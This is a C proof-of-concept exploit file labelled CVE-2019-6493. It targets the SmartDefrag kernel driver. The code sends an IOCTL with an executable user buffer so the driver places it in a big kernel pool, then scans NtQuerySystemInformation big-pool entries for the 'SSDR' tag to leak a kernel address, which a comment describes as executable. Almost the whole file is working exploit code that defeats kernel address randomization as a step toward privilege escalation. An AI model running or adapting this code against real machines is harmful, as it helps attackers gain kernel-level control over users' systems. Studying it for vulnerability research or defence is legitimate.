CVE-2019-6493.c

#include <windows.h>
#include <stdio.h>

#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
typedef unsigned long long QWORD; // DWORD64		
// Source of structs: http://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/bigpool_entry.htm
typedef struct _SYSTEM_BIGPOOL_ENTRY {
  union {
    PVOID VirtualAddress;
    ULONG_PTR NonPaged : 1;
  };
  ULONG_PTR SizeInBytes;
  union {
    UCHAR Tag[4];
    ULONG TagULong;
  };
} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY;

typedef struct _SYSTEM_BIGPOOL_INFORMATION {
  ULONG Count;
  SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;

// Source of enum http://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/query.htm?tx=53&ts=0,16.66666603088379
typedef enum _SYSTEM_INFORMATION_CLASS {
  SystemBigPoolInformation = 0x42
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *fNtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation,
                                                    ULONG SystemInformationLength, PULONG ReturnLength);

int main(int argc, char* argv[]) {
  HANDLE hDriver = CreateFileW(L"\\\\.\\SmartDefragDevice", GENERIC_READ | GENERIC_WRITE, 0,
		                           NULL, OPEN_EXISTING, 0, NULL); // Get a handle to the driver
  if (hDriver != INVALID_HANDLE_VALUE) {
    printf("[i] Found driver\n");
    LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpInMemoryArea == NULL) {
      printf("[!!!] Unable to allocate memory\n");
      ExitProcess(-1);
    }
    else {
      printf("[i] Allocated memory\n");
      memset(lpInMemoryArea, 0xEE, 0x1000); // Clear memory area
    }
    DWORD dwBytesOut = 0;
    DWORD dwIoctl = 0x9C401CC0;
    // nInBufferSize MUST be >= 0x1000 in order to count as a "big" kernel pool
    NTSTATUS dwLastError = DeviceIoControl(hDriver, dwIoctl, lpInMemoryArea, 0x1000, NULL, 0, &dwBytesOut, NULL);
    HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
    if (hNtdll == INVALID_HANDLE_VALUE) {
      printf("[!!!] Unable to load ntdll.dll\n");
      ExitProcess(-1);
    }
    fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
    printf("[i] Allocating a heap\n");
    DWORD nHeapSize = 0x2000;
    LPVOID lpHeap = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0);
    do {
      nHeapSize += 0x2000;
      lpHeap = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lpHeap, nHeapSize);
    } while (NtQuerySystemInformation(SystemBigPoolInformation, lpHeap, nHeapSize, &dwBytesOut) == STATUS_INFO_LENGTH_MISMATCH);
    PSYSTEM_BIGPOOL_INFORMATION pSystemBigPoolInfo = lpHeap;
    PSYSTEM_BIGPOOL_ENTRY pCurrentBigPoolEntry = pSystemBigPoolInfo->AllocatedInfo;
    printf("[i] Scanning for pool tag: SSDR\n");
    QWORD qwLeakedPoolAddr = 0;
    UCHAR matchTag[] = { 'R', 'D', 'D','S' }; // No newline char (big endian)
    for (int i = 0; i < pSystemBigPoolInfo->Count; i++) {
      if (strncmp(pCurrentBigPoolEntry->Tag, &matchTag, 4) == 0) {
        printf("[i] Found SSDR @ Address: %I64X\n", (QWORD)pCurrentBigPoolEntry->VirtualAddress - 1);
        qwLeakedPoolAddr = (QWORD)pCurrentBigPoolEntry->VirtualAddress - 1; // For some reason it's always -1
        // qwLeakedPoolAddr is now a known executable location in kernel address space
      }
      pCurrentBigPoolEntry++; // Next entry in SYSTEM_BIGPOOL_INFORMATION
    }
  }
  else {
    printf("[!!!] Unable to find driver\n");
    ExitProcess(-1);
  }
  ExitProcess(0);
}